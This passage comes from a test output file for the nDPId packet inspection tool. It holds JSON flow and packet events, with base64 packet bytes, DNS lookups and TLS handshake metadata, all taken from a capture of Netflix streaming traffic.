{"version":"TLSv1.2","client_requested_server_name":"api-global.netflix.com","ja3":"7e72698146290dd68239f788a452e7d8","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256"}} +00425{"flow_id":16,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":280,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319035,"pkt_ts_usec":451766,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0wUpAAEAGW+bAqAEHNFkni8+OAbvRf5VO2AMmdYAQEBG6fwAAAQEICh9kwc6tiMlM"} +00433{"flow_id":16,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":281,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319035,"pkt_ts_usec":452064,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"gCqoTGHM5JjWH70UCABFAAA6lW5AAEAGh7zAqAEHNFkni8+OAbvRf5VO2AMmdYAYEBGibAAAAQEICh9kwc+tiMlMFAMDAAEB"} +00488{"flow_id":16,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":282,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319035,"pkt_ts_usec":452442,"pkt_caplen":111,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":111,"pkt_l4_len":77,"pkt":"gCqoTGHM5JjWH70UCABFAABhncZAAEAGfz3AqAEHNFkni8+OAbvRf5VU2AMmdYAYEBEMGQAAAQEICh9kwdCtiMlMFgMDACiAf4y\/CJrVzrosMHqlvlV0KXoJV02FkcvwiFl0B54Nhk4JLJ6FG+Pk"} +02397{"flow_id":16,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":283,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319035,"pkt_ts_usec":453985,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"gCqoTGHM5JjWH70UCABFAAXc0MxAAEAGRrzAqAEHNFkni8+OAbvRf5WB2AMmdYAQEBHiwAAAAQEICh9kwdGtiMlMFwMDCTiAf4y\/CJrVz7fAcrCvbGeN0M9GBwk3I1jH6CitoNkfEr4tsK\/JTDRzCNs6LD0MIQH7h28Ohal\/+SiyT+88VBc1LbdyZelfqym8XRrLBiT\/7hNwjwuIoTmtkXC4cIjEoOaH0Q0XdUepXVSeADvBsW6JvZEM7lVkbaO4esE7wEF4borDoeEE5jRIkPN64BOHJ\/aIMx0AxrNYzilHjVS34sIGoAwjz8kd\/3v8l6FSRwi8yttJb3nsg7CkZCHjO+tB+N9JyTdbX0qqmGBg1a2CI3\/0uqIXcXKEcNq2ElIJNszBL\/oozpaIqtAveY+SOpneVUlMKF1B5wCMJAkAfAHMIY3rKqAcVoS+wWZ55KnkXjZM7excfpTMzqgqXhivjc6UOo2n5UhGj8VXI962+5EPKNgMo3X17krliPOxHfdIV40UikT2odx5ui2zBOWU0xETdAPkw++lSq5w6X2kIRRClfRmMxcvg\/m8qgQs2jMuklHcooVGb4SkbqU45N\/MaJ2wrEJ2k4FKPSXRgJlRABC5r5DLYPxW0orK0LJp2c4gpTRxIvGo6L98EFn6Gmsks877MTQhIAWZic5OPMhAr\/qAIPxPjveoMzBcwY+BOUQQ+nYwNOy3rLggwAByJb99YTVCxCb3rAePkLpUv64fNeVRPjXGiu8WP5GHe1SIBuFJBxtEaSXYmrrj4Q52XXqPFTHoklq0p4NoSlJwW\/NghyXbhcA2bS+eR8QrCJJCDLN6DytBd9VwlRznHe+ecYVKf4LRDWwamd+V\/j61nC+lxYR08acQGQV9cQu73JlPh+baQdxh+SoXC5CiFQizS+\/9wYUumXty1Ayq\/4ePLJA77RxtG+NsV9Nw7beYLkhXKW1jSwHXe31ygbCNyQPW39PG6kyRdcqLLC9t3xXMCGipbXdikV0Y7e022\/4IPzLhVslVaRu8suNYfH7y968mqv4YQZpA9L1N9gTpE04zevUEQZhD\/7pHw9BYSEX7ErPXE7+u5x3h0uTW\/4Labwt+mqnyLFtpClu6ewgD+YbqOdDC2rFaYXtasIh6iV5W1LNMlvn199NXOaJCKAFDtBAnIfkoIvpEDdL8aF75BS\/5bzK0Uv3zVVueItIYT6YIDi8RRNqh8y8FRyHuqhpqJh9IjaXnIR82QKW++UTGBw9K7ad8+sKZUEcmbSJTQEh2EBnT997T5wN\/d\/twfTTYvp3FAqqILQKHovyHVlCmk+bvipitL41scGBRV9cN5trCblpe4R+DStQrME7RR4G1MUy\/r\/JVE1elyaKclo+qYvreRzxLrzs1uL2XLFaC8XB61y1DT1TwYjrHWAidsXIW6FpuMsxxcJ3DdGCpMH\/WO27ezvdYjT6mAlyKuTIf2F7A9mg2LxdqfZ51AhhsWGhvH8CiIZ7KXjyB+2gJwIAgp9OspJV5Ph6o5X\/gC11SqAm3ZCbgX6oOy1I6o0O2CSRRIiZDJWRmqjRjVrlDFR+DJvqCaxyAvvhVS7ZfVa8PGV\/SBb7DmJJduyZ97MIj5i6RR\/9G7dAdh5BLt5R1tkcgjFnCYm\/cwkwSeNUAFmDq6kZmceHK1hHtAhRh1g6gJqfAiN3tn1IKwa3+lERWQ6ViYuQtByCMeI3jto7xcR\/H+szt6MQV0LDiOvLJr18UhFbKeHZ1EsofOHj5nWAV\/OgTFm8aO05KZ5inQ4moMj3PcECpPM2c5UmcO1ncM25z24nf7enj\/a0ffAM9uI0ZXTPjoYchw+BY2LBC2JOQnIhyGS\/mle9fmbQGybIw5LJTdr9YTx5PlbcmvdmU\/XfRNEZ72qlRTC3VEE3I4z16TkJMTROLH9lAt3prKRXj7Bsp2YbTWPPmuEFbWjantK1HCCIZkdzuJDKpqK3Oqzribp0u1nSrstgEayHXB9AkbbJDykuwGW8eSv28SzhdQQkCrzU="} +01672{"flow_id":16,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":284,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319035,"pkt_ts_usec":454426,"pkt_caplen":983,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":983,"pkt_l4_len":949,"pkt":"gCqoTGHM5JjWH70UCABFAAPJGkRAAEAG\/1fAqAEHNFkni8+OAbvRf5sp2AMmdYAYEBFQJwAAAQEICh9kwdGtiMlMu3OPRTMuu7bxp3i0aaM8AxHn3RcHnkubyMzpee+CIQL83\/s6b4Rq1bcnP18ufvyJc1PSaRWpwfpCvgne+E38ypTvGKvtmPP0hB6+A1D2G+hu03lLAsfoktHeJf2\/8envVXqJ6itCuG6dGgB7Nj088onKoTdDyAttS0LczY3BGUG\/P5ns04SRfLw+pFDb4xykNgaCGGrEMI4TMvybxi83P4ccHLbd1JVjFzjs2aAMeBg23ZFOXQ\/fBmMWN\/j4iLC5EX0yoFMzfGW+CWBDGsF7I\/kBxiOeWLj6m7KubVFts\/wXIqzDSCCyjFjkm6uNfL47Hdu4CWPJvQXJ9kb+KL5GAejRxUZP5iYtg\/JqKpkyDhlylqSM9KzsvgxnSVFaHl+u43HHRz3WZe0Q2fwePesuoTxcjigEu9\/zXLX4eDXidHh3cDgdG7pLUYByeT6ghALfDLHiGl8AN0zDPaV66n3Q53B3aEWaIXMDMzzJ63p9EEZoWU+CTyosB5st0fHADsNJxzEP1v8aeQCGCQBTrojfjdppRtdvebizKfxsUx\/qnVV1ERDGSBJ8DZlc71z59CQO\/tdZR+Nc\/X1BXGWpC5D6IzAzjc5TE8LfejgBIqBcr0F3z4V4QUN7aoBh4YhkPftrkLQiZPceluIN3PaiSwcKT1oY8h9Zf111JryMN+SHIUs7UrRrkeNrmj5qhnmVT+g4Pf7esxT9ayOARYyuo6Ut3Rgcu+7qZmGdXgRDhGIYuC0+n8uh42iJWC09+PCznE7FzkO0C02xEk1kgczBQbE3dwX9b3hdYaKvBC\/HZiv669sXMrxfMSgQNcBOMExmbB+iPEYUhHvGXL\/iIY2i41QZ4qTGbXnUf4DiQU2CtRH7Jwq9l7jks6fjhz4cIwtOtf0mQlmJF8zIs0093eyoeP+Shcxolr6wGcYwn4wT63mzCTJZEUIP6ABITqPPEJe3tFrmf6GxG2sahheInZPet4L5KhCKjCeY6eKIZfVX6s10aJo3dRpImfxlSrwHPF9spQWTusnS\/J1blmtC5u\/kjfBxkcu++xFSU9wD4UYZKmyxjALye9L984OfRUnzIuCkkAuv0KT02n2QdtZpm8ijuKDOZAucrljkkL7CJ3bOskGPBDnId9D4nUTrMPhxTxsxKYNXpigS9p9g\/GIPG0QIirKHUtsys0+sU+aXy3q9XJFaSGVHBbRdwuwz8wy0\/rNrxqezDByLlF4="} +00426{"flow_id":16,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":285,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319035,"pkt_ts_usec":499426,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"5JjWH70UgCqoTGHMCABFIAA07LBAACoGRmA0WSeLwKgBBwG7z47YAyZ10X+VgYAQAEvKBQAAAQEICq2IyVgfZMHP"} +00426{"flow_id":16,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":286,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319035,"pkt_ts_usec":516407,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"5JjWH70UgCqoTGHMCABFIAA07LFAACoGRl80WSeLwKgBBwG7z47YAyZ10X+evoAQAGHAqwAAAQEICq2IyV0fZMHR"} +02398{"flow_id":16,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":287,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319035,"pkt_ts_usec":595782,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXc7LJAACoGQLY0WSeLwKgBBwG7z47YAyZ10X+evoAQAGHRHwAAAQEICq2IyXAfZMHRFwMDCAFdxegFjgrut6eNnpF0cJLnEJRdkwBZNn5oiePn5TUvy36YZo6Fq361b8pOTPVUbfI\/T6sQiUItJKJYrpV\/NG8qYw+WD27sWFldLzp5w7Y+++tbMV37ogijqowzjx4W+\/XS+THyoU9vtOx2\/A2Fusgw\/ediOdDpbXuhDVqvWbB4Fd3J\/Mc3MZmiRhRes6I9rBLX8wLlZVwZ7G4vzGWcsnXXJsskZEcmZJYcFlmFq2SaUJO+Dzd+iQRgETkHMrkvqiw7iNf8T+mkg4RfZGeXIGeooilA0u5HUk8DEhEH8wAOFTTa+r\/JlYNZIhHEWqfGwGe5xpfShO1EJkHu8Sgty0PMoqkLRBgqJff5HzyGPmdQm9vBVN8cWzJga63MNJC2+vSq55ncki\/IewT2n9JL9NOP83XDywN0lu82AB3+fo2pz2ELXJGAp6E35ht3tXUnI\/y2jdm80JkITbeKw\/xoOHFE2l2FrnQ3R8FRqrPc3M54RvcmnWIRJgNsDNkqKiT5831Ud7NmEq1P2+Dezr5QNLDgeOhoziCLNIzt8jmd+H06FfHeF4QIFU15k0\/BvJiCtW\/jfyjTSL91y\/+J4ijSLwhmeBpjJO6Tet18R2x7BsBwL\/x3qBn0nEzs6mWzLwOajFAHTE+L\/gJkTK6qnwLd+hFSMPcx\/koAzMrYO2IY3\/mJatbJoTKxJb0PWJrya37oMkAC3q3tZLE2y4vQngns\/a4LVGeGn4p8pW\/LJ7fEKIluHUFx3qYurudABaIzuhU0AWlDOMtX9glixMsTF8gg\/PvX\/NPgZM7CFP+ZiQbXv82QVCovYjjL73gLaDaKYmYQHP40Q0+P+wtl393+spKcFd8rOu0g0pvMWNAp\/N8XDNlFCGzdsdHQZB8az5YRNXykwlGad\/EKn4A5q9oHDo45SZE8QnWB2yvtaB6t6tHnh61DprzduCavNtJ+aE8e3TQ5BnAXU6gOM5WsolnvRRyo7k3Sau29ob7Yi+BU2kpfyDfizL9HLlAC3z41932xJG3sb5Yv1lDZDdOPo1hQrC+piB1ZU+C2vfJwA7oF2EzTVDQ3NGDR5zi9RbC4+eCCOIGDYU3XuNuVznYE3PfgiXFcoMmQETEzBMBXk6MQW5KMD8HwY\/aMDyod7wiS1ntumDV7peT0T4udg6wrERYR5102afDIToD8bhhvaEMZMkcVx85RCp3iksewOCmQDFQhBTX4n7dq98BqshjRrbMsi+Kx81RgwNRQ9q3Ug9kJSw7zasKvEif2brITVpohy\/tqzEb7DnZ3vE24MGAlfC0Vl2brupws9RTBInHYnk7RBAuSF8j3HzFJ6nNGYH\/WVKEdgmjnqlRchH7EvW6beTsQiRQlREy1QeT7bc\/ZH7S0++vqk1i7YJ+86dHZobkM4q0Q8zrl2JTOjFa6mBGHiOFa9\/Goz9Gu5RtTa5I++qA536kepkK\/3LRh0+YcuoKKEVd7ob\/GXu3IiTy19RoOZvLy92\/ZW4mPPjaMn6IUiccTMtCl6ecrutA\/zSeVhd3BvU+a7XQX2fywgjKbEr6pOdixwQ85exnrgTMZT+Uuuoo9bDmE9owKBCpq9A7s4m4+GgLxVf6Kyy0rIAPLPiKaR4fyRS4t6hYnZvoLNN7GEJ9Xc9MruHK+C4GGxbTZc2HFtOcB0kuZGa+JNL3on3QHy6\/nagMhfn9VH3Rs6Q8bs1ddWQHGyFEo1jnQVOf2pRynv5Ori2iBIjykBGUozGQn8h1XF6BTVExDSkAhsgS4l2lKcQuczKNXWDjoYRic0sq6v11WtGT+ZDgbnNbBwFOKkw+q2Jc893Cgn6xoVEHb+cbv5Lh8iUIKn1vQ2kR4LQ0yCQOk9otBtW4Mo6z2UZ1RoP4ojsfmxXOgWRpvNZ0oZ+6hYMOC9ufBPaquKC6W\/ifiRE7agFmmLxxNARw="} +01247{"flow_id":16,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":288,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319035,"pkt_ts_usec":596560,"pkt_caplen":672,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":672,"pkt_l4_len":638,"pkt":"5JjWH70UgCqoTGHMCABFIAKS7LNAACoGQ\/80WSeLwKgBBwG7z47YAywd0X+evoAYAGHrFQAAAQEICq2IyXAfZMHRMo35wC3K3lB3X0UiNTqPXgl2iRfglXBV7sOmXxgvCmchDBkb2+JBSAN9wiY3J3+ujUo8d3KDqAiGeO6zBVq45089AD6x6kknWzF6FC175HGVHruWYVIyVQzu\/CM59pAOKR0BFREnSTsOkBiMZfyvC98CjZvGbBBb8xRt4k6MoGBDJiTt6YmW75aYoKCHqeBYmCkRPpdeOvBzEb8NKrbFsSMl\/bJucy5INzD1b5t1xTf\/16Y\/QeBb2E7QrhYpPm4YYdcGYKzo7pZuIHwlFrwA9Osl646h4W8JPNINFs7hEJWY2LdiX7VlNVT8fVDA+WHWCaQFEUDipS62VMEifjL8iv7BuaO8+dO5H43ofJSPLcV6Pvl13aNor7ui1TwLe8Lu\/MG1X7l3awDxkOkX9t55guBdRmDc\/Ubmq3buWdEwHqk9iSSU1MkRyYtmNP48gAzdq0FBmzjWN55xMC5HZ0j0FSEymrgg83cpMkJRMm9+R1H18jCBdqbpFT6aRubLAuSI5EKvuJ5T6M5lhOfFWYivIu+LPU9df4UHYc2S2SpOmllT4NCpoDheI\/JG2m26ZsZDLD79kZkqe6k2UtdQ26te5w2F1Ul1DeGGTPvim7L6q9LKosMEsbHZTMQ\/RoWkKN357p3KOCruFfYKn+9dfyksPP5bBsgkR2qvQfy6Zkf1OOVHKxt9wHyPb2unAhD9SqCEETq\/1kyIJ5X3fxyfN6PnFfUdn1CHbb1bOdV8khj67NUNNST36zIFFz3PUW65zARqyZ5bbPWCRzlK+J6erwT2G2cCk83w3LopkZ4RdySt"} +00565{"flow_id":10,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":321,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319035,"pkt_ts_usec":889509,"pkt_caplen":164,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":164,"pkt_l4_len":130,"pkt":"AQBef\/\/65JjWH70UCABFAACW0KMAAAERNwrAqAEH7\/\/\/+tIQB2wAggqVTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANCk1BTjogInNzZHA6ZGlzY292ZXIiDQpNWDogMg0KU1Q6IHVybjptZHgtbmV0ZmxpeC1jb206c2VydmljZTp0YXJnZXQ6MA0KDQo="} +00569{"flow_id":10,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":322,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319035,"pkt_ts_usec":997063,"pkt_caplen":167,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":167,"pkt_l4_len":133,"pkt":"AQBef\/\/65JjWH70UCABFAACZwp8AAAERRQvAqAEH7\/\/\/+tIQB2wAhUYzTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANCk1BTjogInNzZHA6ZGlzY292ZXIiDQpNWDogMg0KU1Q6IHVybjpkaWFsLW11bHRpc2NyZWVuLW9yZzpzZXJ2aWNlOmRpYWw6MQ0KDQo="} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":323,"source":"netflix.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1484319036827,"flow_last_seen":0,"flow_tot_l4_data_len":51,"flow_min_l4_data_len":51,"flow_max_l4_data_len":51,"flow_avg_l4_data_len":51,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"192.168.1.1","src_port":57719,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00453{"flow_id":17,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":323,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319036,"pkt_ts_usec":827113,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"gCqoTGHM5JjWH70UCABFAABHX6YAAP8R2KbAqAEHwKgBAeF3ADUAM2aFMVgBAAABAAAAAAAABHNoYTIDc2FuBGFrYW0HbmZseGltZwNuZXQAAAEAAQ=="} +00642{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":323,"source":"netflix.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1484319036827,"flow_last_seen":0,"flow_tot_l4_data_len":51,"flow_min_l4_data_len":51,"flow_max_l4_data_len":51,"flow_avg_l4_data_len":51,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"192.168.1.1","src_port":57719,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.NetFlix","breed":"Fun","category":"Video"},"dns": {"query":"sha2.san.akam.nflximg.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00524{"flow_id":17,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":324,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319036,"pkt_ts_usec":847572,"pkt_caplen":137,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":137,"pkt_l4_len":103,"pkt":"5JjWH70UgCqoTGHMCABFAAB74URAAEAR1dTAqAEBwKgBBwA14XcAZ3RRMViBgAABAAIAAAAABHNoYTIDc2FuBGFrYW0HbmZseGltZwNuZXQAAAEAAcAMAAUAAQAAACAAGAVlMzA2NwRkc2NnCmFrYW1haWVkZ2XAIsA3AAEAAQAAABIABGhWYbM="} +00670{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":324,"source":"netflix.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":2,"flow_first_seen":1484319036827,"flow_last_seen":1484319036847,"flow_tot_l4_data_len":154,"flow_min_l4_data_len":51,"flow_max_l4_data_len":103,"flow_avg_l4_data_len":77,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"192.168.1.1","src_port":57719,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.NetFlix","breed":"Fun","category":"Video"},"dns": {"query":"sha2.san.akam.nflximg.net","num_queries":1,"num_answers":2,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"104.86.97.179"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":325,"source":"netflix.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1484319036854,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"104.86.97.179","src_port":53141,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":18,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":325,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319036,"pkt_ts_usec":854344,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqoTGHM5JjWH70UCABFAABAqeJAAEAGBR3AqAEHaFZhs8+VAbsXO1WDAAAAALAC\/\/+GqQAAAgQFtAEDAwUBAQgKH2THJwAAAAAEAgAA"} +00438{"flow_id":18,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":326,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319036,"pkt_ts_usec":865722,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"5JjWH70UgCqoTGHMCABFIAA8AABAADwGsuNoVmGzwKgBBwG7z5WR\/xaXFztVhKAScSAP4QAAAgQFtAQCCAoCM2vSH2THJwEDAwU="} +00425{"flow_id":18,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":327,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319036,"pkt_ts_usec":868771,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0UCJAAEAGXunAqAEHaFZhs8+VAbsXO1WEkf8WmIAQEBWfqAAAAQEICh9kxzUCM2vS"} +00733{"flow_id":18,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":328,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319036,"pkt_ts_usec":870445,"pkt_caplen":293,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":293,"pkt_l4_len":259,"pkt":"gCqoTGHM5JjWH70UCABFAAEXqU5AAEAGBNrAqAEHaFZhs8+VAbsXO1WEkf8WmIAYEBU64wAAAQEICh9kxzYCM2vSFgMBAN4BAADaAwNYeOk8NZkQnOsfGkUHC3oH4Rk0tFCgXSVuPClH26lOAAAAJgD\/wCzAK8AkwCPACsAJwDDAL8AowCfAFMATAJ0AnAA9ADwANQAvAQAAiwAAABYAFAAAEWFydC1zLm5mbHhpbWcubmV0AAoACAAGABcAGAAZAAsAAgEAAA0AEgAQBAECAQUBBgEEAwIDBQMGAzN0AAAAEAAwAC4CaDIFaDItMTYFaDItMTUFaDItMTQIc3BkeS8zLjEGc3BkeS8zCGh0dHAvMS4xAAUABQEAAAAAABIAAAAXAAA="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":328,"source":"netflix.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":4,"flow_first_seen":1484319036854,"flow_last_seen":1484319036870,"flow_tot_l4_data_len":375,"flow_min_l4_data_len":32,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":93,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"104.86.97.179","src_port":53141,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"art-s.nflximg.net","ja3":"c07cb55f88702033a8f52c046d23e0b2","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,h2-16,h2-15,h2-14,spdy\/3.1,spdy\/3,http\/1.1"}} +00426{"flow_id":18,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":329,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319036,"pkt_ts_usec":886851,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"5JjWH70UgCqoTGHMCABFIAA0fX9AADwGNWxoVmGzwKgBBwG7z5WR\/xaYFztWZ4AQA6urGQAAAQEICgIza+cfZMc2"} +02375{"flow_id":18,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":330,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319036,"pkt_ts_usec":889708,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcfYBAADwGL8NoVmGzwKgBBwG7z5WR\/xaYFztWZ4AQA6sVZQAAAQEICgIza+gfZMc2FgMDAGICAABeAwN5g47+R9s+E\/ccXHXackOfVLxM+JD8ytN57LngDZ5MXSCEx7AFc0atAESV3G9T1TWkiIUeyjAIQRMHOFmJVRwvDMAwAAAW\/wEAAQAACwAEAwABAgAQAAUAAwJoMhYDAwuPCwALiwALiAAGaTCCBmUwggVNoAMCAQICEHzGM+uvTCVSGnztsenYTskwDQYJKoZIhvcNAQELBQAwfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDAeFw0xNjA0MDYwMDAwMDBaFw0xNzA0MDUyMzU5NTlaMIGVMQswCQYDVQQGEwJVUzETMBEGA1UECAwKQ2FsaWZvcm5pYTESMBAGA1UEBwwJTG9zIEdhdG9zMRYwFAYDVQQKDA1OZXRmbGl4LCBJbmMuMSQwIgYDVQQLDBtDb250ZW50IERlbGl2ZXJ5IE9wZXJhdGlvbnMxHzAdBgNVBAMMFnNlY3VyZS5jZG4ubmZseGltZy5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDOL5eAa9iwu1W4ePjhdlD\/gO5xHqEE0w4N90WW3Kd8FCDnvpAOkVGjRvw5hpuSoirFa0PpaF6efe19YU+\/94rODigwAFlqGN476hwsQEm3r6EjgvIzP+8EAnmt5rMGnghJmeLsVUmfSrP7gIlTznCIa0AtZJCZ0Gj\/\/pLFHo5eGGm35eiYfMA\/kUjtu75xS3Y+EPyGXwL4F6jfSdAgAP3I32NAkFX0eyKJO58XpRjLZI2xd2\/A3n++inSIFvfIl5LhpOySogZ0IGCqpiWAo2bSe1rDU+oHs7E3qOd+zvTRIl66O7SbbwZglCDJztOTLcHxFA5kriIAeUxLvkPbQoI5AgMBAAGjggLFMIICwTB1BgNVHREEbjBsghZzZWN1cmUuY2RuLm5mbHhpbWcubmV0gg0qLm5mbHhleHQuY29tgg8qLm5mbHh2aWRlby5uZXSCECoubmZseHNlYXJjaC5uZXSCESoubnJkLm5mbHhpbWcubmV0gg0qLm5mbHhpbWcubmV0MAkGA1UdEwQCMAAwDgYDVR0PAQH\/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjBhBgNVHSAEWjBYMFYGBmeBDAECAjBMMCMGCCsGAQUFBwIBFhdodHRwczovL2Quc3ltY2IuY29tL2NwczAlBggrBgEFBQcCAjAZGhdodHRwc